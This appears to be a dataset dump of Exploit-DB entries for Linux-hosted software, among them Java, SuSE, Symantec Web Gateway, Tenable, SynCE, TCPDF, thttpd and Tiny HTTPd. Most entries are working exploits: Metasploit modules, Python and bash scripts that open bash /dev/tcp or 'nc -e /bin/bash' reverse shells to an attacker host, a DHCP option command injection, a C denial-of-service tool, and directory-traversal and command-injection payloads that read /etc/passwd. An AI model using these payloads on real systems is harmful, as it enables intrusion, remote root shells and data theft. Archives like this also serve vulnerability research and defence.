deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33315
Description: Sun Java SE November 2009 - Multiple Vulnerabilities (1)
Type: remote
Platform: linux
Date: 2009-10-29
Author: Tometzky

Exploit:
source: https://www.securityfocus.com/bid/36881/info

Sun has released updates to address multiple security vulnerabilities in Java SE.

Successful exploits may allow attackers to bypass certain security restrictions, run untrusted applets with elevated privileges, execute arbitrary code, and cause denial-of-service conditions. Other attacks are also possible.

These issues are addressed in the following releases:

JDK and JRE 6 Update 17
JDK and JRE 5.0 Update 22
SDK and JRE 1.4.2_24
SDK and JRE 1.3.1_27 

import java.awt.Graphics;
public class test extends java.applet.Applet {
        public static Synthesizer synth;
        Soundbank soundbank;

    	public void init() 
	{
		String fName = ""; 
		if(isWindows()){
			System.out.println("This is Windows");
			fName = repeat('/',302);
		}else if(isMac()){
			System.out.println("This is Mac");
			fName = repeat('/',1118); // OSX Snow Leopard
		}else if(isUnix()){
			System.out.println("This is Unix or Linux, no current test case");
		}else{
			System.out.println("Your OS is not supported!!");
		}
	
		CharArrayWriter pw = new CharArrayWriter(10);  
//		int retaddr[] = { 0x0d, 0x0d, 0x0d, 0x0d }; 
		int retaddr[] = { 0x41, 0x42, 0x43, 0x44, 0x30, 0x31, 0x32, 0x33, 0x0d, 0x0d, 0x0d, 0x0d }; 
		int retlen = java.lang.reflect.Array.getLength(retaddr);

		for(int x = 0; x < retlen; x++)
		{
			pw.write(retaddr[x]);
			pw.flush();
		}

	 	pw.close();
		String mal = pw.toString();  
  
  		fName = "file://" + fName + mal;
                try
		{
                        synth = MidiSystem.getSynthesizer();
                        synth.open();
                        synth.loadAllInstruments(MidiSystem.getSoundbank(new URL(fName)));
                }
                catch(Exception e)
		{
			System.out.println(e);
                }
    	}
    	public void paint(Graphics g) 
	{
		g.drawString("Hello world!", 50, 25);
    	}
	public static String repeat(char c,int i)
	{
        	String tst = "";
         	for(int j = 0; j < i; j++)
         	{
         		tst = tst+c;
         	}
        	return tst;
	}

	public static boolean isWindows(){
 
		String os = System.getProperty("os.name").toLowerCase();
		//windows
	    return (os.indexOf( "win" ) >= 0); 
 
	}
 
	public static boolean isMac(){
 
		String os = System.getProperty("os.name").toLowerCase();
		//Mac
	    return (os.indexOf( "mac" ) >= 0); 
 
	}
 
	public static boolean isUnix(){
 
		String os = System.getProperty("os.name").toLowerCase();
		//linux or unix
	    return (os.indexOf( "nix") >=0 || os.indexOf( "nux") >=0);
 
	}
}
Exploit-DB #21075
Description: SuSE 6.3/6.4/7.0 sdb - Arbitrary Command Execution
Type: remote
Platform: linux
Date: 2001-08-02
Author: Maurycy Prodeus

Exploit:
source: https://www.securityfocus.com/bid/3208/info

An input validation error exists in sdb, the SuSE Support Data Base.

The problem exists in the sdbsearch.cgi script, which uses data directly from the 'Referer' header field from a HTTP request as a path when opening it's "keylist.txt" file. The keylist file contains a list of keywords and associated files, which are opened using Perl's open() command.

If an attacker is able to create a malicious "keylist.txt" file on a vulnerable host, it may be possible for the attacker to cause arbitrary commands to be executed by the sdbsearch.cgi script. 

Proof of concept is very simple, just create harmful keylist.txt for instance in /tmp directory and send request to http server like this:

GET /cgi-bin/sdbsearch.cgi?stichwort=keyword HTTP/1.0
Referer: http://szachy.org/../../../../../tmp

(very deep traversal because we don't know what is DOCUMENT_ROOT)

and an example content of our /tmp/keylist.txt create like this:
$ echo -e "keyword\0touch exploitable|" > /tmp/keylist.txt

After successful attempt there will be "exploitable" file in /tmp directory.
Exploit-DB #20236
Description: SuSE Linux 6.3/6.4 - Installed Package Disclosure
Type: remote
Platform: linux
Date: 2000-09-21
Author: t0maszek

Exploit:
source: https://www.securityfocus.com/bid/1707/info

By submitting a specific url to the web server ("http://hosts.any/doc/packages/") , any user from any host may obtain a list of packages installed on a S.u.S.E 6.3 or 6.4 system. This problem is due to a configuration in the Apache httpd.conf supplied with S.u.S.E that permits anyone to request documents from this webroot subdirectory. The end result is that attackers will know what packages the victim has installed, which can assist in executing more complicated attacks.

Request "http://target/doc/packages/" with a web browser.
Exploit-DB #32796
Description: Swann DVR4 SecuraNet - Directory Traversal
Type: remote
Platform: linux
Date: 2009-02-10
Author: Terry Froy

Exploit:
source: https://www.securityfocus.com/bid/33716/info

Swann DVR4 SecuraNet is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/../../var/run/vy_netman.cfg
Exploit-DB #20113
Description: Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit)
Type: remote
Platform: linux
Date: 2012-07-27
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in Symantec Web
				Gateway's HTTP service.  While handling the filename parameter, the Spywall API
				does not do any filtering before passing it to an exec() call in proxy_file(),
				thus results in remote code execution under the context of the web server. Please
				note authentication is NOT needed to gain access.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'muts',  # Original discovery
					'sinn3r' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-2953' ],
					[ 'BID', '54426' ],
					[ 'EDB', '20088' ],
					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
				],
			'Payload'        =>
				{
					#'BadChars' => "\x00\x0d\x0a",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl bash telnet'
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Symantec Web Gateway 5.0.2.18', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 23 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
			], self.class)
	end


	def check
		dir = File.dirname(target_uri.path)

		res1 = send_request_raw({'uri' => "#{dir}/login.php"})
		res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})

		if res1 and res2
			if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
				return Exploit::CheckCode::Detected
			end
		end

		return Exploit::CheckCode::Safe
	end


	def exploit
		send_request_cgi({
			'uri'      => target_uri.path,
			'method'   => 'GET',
			'vars_get' => {
				'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
				'stage' => '0'
			}
		})

		handler
	end

end
Exploit-DB #18942
Description: Symantec Web Gateway 5.0.2.8 - Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2012-05-28
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Symantec Web Gateway's HTTP
				service.  By injecting PHP code in the access log, it is possible to load it
				with a directory traversal flaw, which allows remote code execution under the
				context of 'apache'. Please note that it may take up to several minutes to
				retrieve access_log, which is about the amount of time required to see a shell
				back.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown', #Discovery
					'muts',    #PoC
					'sinn3r'   #Metasploit
				],
			'References'     =>
				[
					['CVE', '2012-0297'],
					['EDB', '18932'],
					['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'WfsDelay' => 300,  #5 minutes
					'DisablePayloadHandler' => 'false',
					'ExitFunction' => "none"
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Symantec Web Gateway 5.0.2.8', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 17 2012",
			'DefaultTarget'  => 0))
	end


	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => '/spywall/login.php'
		})

		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		peer = "#{rhost}:#{rport}"

		php = %Q|<?php #{payload.encoded} ?>|

		# Inject PHP to log
		print_status("#{peer} - Injecting PHP to log...")
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "/#{php}"
		})

		select(nil, nil, nil, 1)

		# Use the directory traversal to load the PHP code
		# access_log takes a long time to retrieve
		print_status("#{peer} - Loading PHP code..")
		send_request_raw({
			'method' => 'GET',
			'uri'    => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
		})

		print_status("#{peer} - Waiting for a session, may take some time...")

		select(nil, nil, nil, 1)

		handler
	end
end
Exploit-DB #20088
Description: Symantec Web Gateway 5.0.3.18 - 'pbcontrol.php' Root Remote Code Execution
Type: remote
Platform: linux
Date: 2012-07-24
Author: muts

Exploit:
#!/usr/bin/python
import urllib
import sys

'''

print "[*] ##############################################################"
print "[*] Symantec Web Gateway 5.0.3.18 pbcontrol.php ROOT RCE Exploit"
print "[*] Offensive Security - http://www.offensive-security.com"
print "[*] ##############################################################\n"

# 06 Jun 2012: Vulnerability reported to CERT
# 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure

'''

if (len(sys.argv) != 4):
        print "[*] Usage: symantec-web-gateway-0day.py <RHOST> <LHOST> <LPORT>"
        exit(0)

rhost = str(sys.argv[1])
lhost = sys.argv[2]
lport = sys.argv[3]

payload= '''echo%20'%23!%2Fbin%2Fbash'%20%3E%20%2Ftmp%2FnetworkScript%3B%20echo%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F'''+lhost+'''%2F'''+lport+'''%200%3E%261'%20%3E%3E%20%2Ftmp%2FnetworkScript%3Bchmod%20755%20%2Ftmp%2FnetworkScript%3B%20sudo%20%2Ftmp%2FnetworkScript'''
url = 'https://%s/spywall/pbcontrol.php?filename=hola";%s;"&stage=0' % (rhost,payload)
urllib.urlopen(url)
Exploit-DB #30998
Description: SynCE 0.92 - 'vdccm' Daemon Remote Command Injection
Type: remote
Platform: linux
Date: 2008-01-07
Author: Alfredo Ortega

Exploit:
source: https://www.securityfocus.com/bid/27178/info

SynCE is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Attackers can exploit this issue to execute arbitrary commands in the context of the application, facilitating the remote compromise of affected computers.

SynCE 0.92 is vulnerable; other versions may also be affected. 

import socket, struct
import time
def AtoWChar(string):
    return ''.join([x+chr(0) for x in string])

HOST = '192.168.XXX.XXX'
PORT = 5679
c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((HOST, PORT))
buf="\x00"*0x18
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+="\x00"*12
string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")
buf+=string+"\x00\x00"+"\x00"*12
c.send(struct.pack("L",63+len(string))+buf+"\x00" )
- ---------------------------

NOTE: for this proof of concept to work, a script file is needed on the
"$home$/.synce/scripts" directory. Some linux distributions ship with
scripts on this directory by default.
Exploit-DB #33535
Description: SystemTap 1.0 - 'stat-server' Arbitrary Command Injection
Type: remote
Platform: linux
Date: 2010-01-15
Author: Frank Ch. Eigler

Exploit:
source: https://www.securityfocus.com/bid/37842/info

SystemTap is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

Versions prior to SystemTap 1.1 are vulnerable. 


The following example commands are available:

stap-client \; ...
stap-client -; ...
stap-client -D 'asdf ; ls /etc' ...
stap-client -e 'script' -D 'asdf ; \; '
Exploit-DB #20246
Description: TalentSoft Web+ Application Server (Linux) 4.6 - Example Script File Disclosure
Type: remote
Platform: linux
Date: 2000-09-26
Author: DCIST

Exploit:
source: https://www.securityfocus.com/bid/1725/info

Web+ is a development language for use in creating web-based client/server applications.

In Linux versions of the product, an example script installed in Web+ (Web+Ping) which fails to correctly filter shell meta characters. As a result, parameters passed to this script may contain malicious shell commands, allowing an attacker to remotely execute or read any file which is accessible by the Web+ user.

Windows NT versions of Web+ are apparently not vulnerable.

To exploit simply place a '|' after the parameter you which to provide to
ping and then the command you wish to execute.

e.g:
Goto:
http://target/cgi-bin/webplus.cgi?Script=/webplus/webping/webping.wml

Then type in host destination box:
127.0.0.1 | cat /etc/passwd

You will then be presented with the contents of the /etc/passwd file.
Exploit-DB #33826
Description: TCPDF 4.5.036/4.9.5 - 'params' Attribute Remote Code Execution
Type: remote
Platform: linux
Date: 2010-04-08
Author: apoc

Exploit:
source: https://www.securityfocus.com/bid/39315/info

TCPDF is prone to a security weakness that may allow attackers to execute arbitrary code.

An attacker can exploit this issue in conjunction with other latent vulnerabilities to execute arbitrary code with the privileges of the webserver.

Versions prior to TCPDF 4.9.006 are vulnerable. 

<tcpdf method="Rect" params=");echo `id`;die(" />
Exploit-DB #41892
Description: Tenable Appliance < 4.5 - Root Remote Code Execution
Type: remote
Platform: linux
Date: 2017-04-18
Author: agix

Exploit:
#!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.

# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5

tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'

#!/bin/bash

TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337


curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT
Exploit-DB #45345
Description: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution
Type: remote
Platform: linux
Date: 2018-09-07
Author: Sameer Goyal

Exploit:
# Exploit Title: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution 
# Discovery by: Sameer Goyal
# Discovery Date: 2018-05-30
# Vendor Homepage: https://www.tenable.com/
# Software Link: https://www.tenable.com/products/tenable-io/web-application-scanning
# Tested Version: WAS-20180328
# Vulnerability Type: Remote Command Execution (RCE)
# Tested on OS: CentOS  7.4.1708
# Vulnerable daemon version: NetworkManager 1.8.0-11.el7_4
  
# Steps to produce the RCE: 

# Step 1:  Setup your malicious DHCP server in the network using dnsmasq:

dnsmasq --interface=eth1 --bind-interfaces  --except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-option=6,192.168.51.1 --dhcp-option=3,192.168.51.1 --dhcp-option="252,x'&/home/wizard/nc -nv 192.168.51.1 5555 -e /bin/bash #"

# DHCP-option-3 => gateway IP/ DHCP server IP.
# DHCP-option-6 => DNS IP, which can be same as gateway IP( not mandatory)
# DHCP-range => simply subnet range (1h, for 1 hour only)
# DHCP option=> ì252,xí&<payload> #î

# Start the listener on port 5555 on other terminal .
# Step 2: Send the normal IP request to the malicious DHCP server from the victim machine.

nmcli con up ìWired Connection 1î && ifconfig

# Step 3: Check the listener, we have got the reverse shell with root privileges.
# Reference: https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf
Exploit-DB #20636
Description: thinking arts es.one 1.0 - Directory Traversal
Type: remote
Platform: linux
Date: 2001-02-16
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2385/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ES.One. Requesting a specially crafted URL by way of 'store.cgi', composed of '/../' sequences and appended with '%00' will disclose an arbitrary directory. 

http://target/cgi-bin/store.cgi?StartID=../etc/hosts%00.html

^^ = Will obviously open the hosts file.

http://target/cgi-bin/store.cgi?StartID=../etc/%00.html

^^ = Will obviously list the /etc/ directory.
Exploit-DB #23306
Description: thttpd 2.2x - 'defang' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2003-10-27
Author: d3ck4

Exploit:
// source: https://www.securityfocus.com/bid/8906/info
 
A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.
 
This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.
 
thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 

==========================[ thttpd-sontot.c ]=========================
 
// thttpd-sontot.c remote dos exploit by d3ck4
// Base On Texonet Security Advisory 20030908
// Application    : thttpd
// Version(s)     : 2.21 - 2.23b1
// Platforms      : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF
// Solution       : Upgrade to version 2.24
// Remote exploit not yet ;P~
 
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  struct hostent *host;
  char buffer[1000];
  char buffer1[1130];
  int s, i;
  if(argc != 3)
  {
    fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s == -1)
  {
    perror("socket() failed\n");
    exit(0);
  }
  host = gethostbyname(argv[1]);
  if( host == NULL)
  {
    herror("gethostbyname() failed");
    exit(0);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(atol(argv[2]));
 
  if(connect(s, &addr, sizeof(addr)) == -1)
  {
    perror("couldn't connect to server\n");
    exit(0);
  }
 
  for(i = 0; i < 1000 ; i++)
    buffer1[i] = '>';
    sprintf(buffer, "GET /%s HTTP/1.0\r\n\r\n\r\n", buffer1);
    printf("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n");
    printf("Buffer is: %s\n\n", buffer1);
    printf("Buffer filled... now sending buffer\n");
    send(s, buffer, strlen(buffer), 0);
 
    printf("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n");
    close(s);
  return 0;
}
 
/* EOF */

==========================[ thttpd-sontot.c ]=========================


---------------------------------
Do you Yahoo!?
Free Pop-Up Blocker - Get it now
Exploit-DB #42790
Description: Tiny HTTPd 0.1.0 - Directory Traversal
Type: remote
Platform: linux
Date: 2017-09-26
Author: Touhid M.Shaikh

Exploit:
#======================================================================================
# Exploit Author: Touhid M.Shaikh
# Exploit Title: Tiny HTTPd 0.1.0 Local File Traversal
# Date: 26-09-2017
# Website: www.touhidshaikh.com
# Vulnerable Software:  Tiny HTTPd
# Version: 0.1.0
# Download Link:
https://sourceforge.net/projects/tinyhttpd/?source=directory
#======================================================================================



# To reproduce the exploit:
#   1. run the #./httpd
#   2. #nc localhost 44123
# GET /../../../../../../../../../../../etc/passwd HTTP/1.1


#==========
#Responce
#==========


HTTP/1.0 200 OK
Server: jdbhttpd/0.1.0
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
---------------------snip---------------------------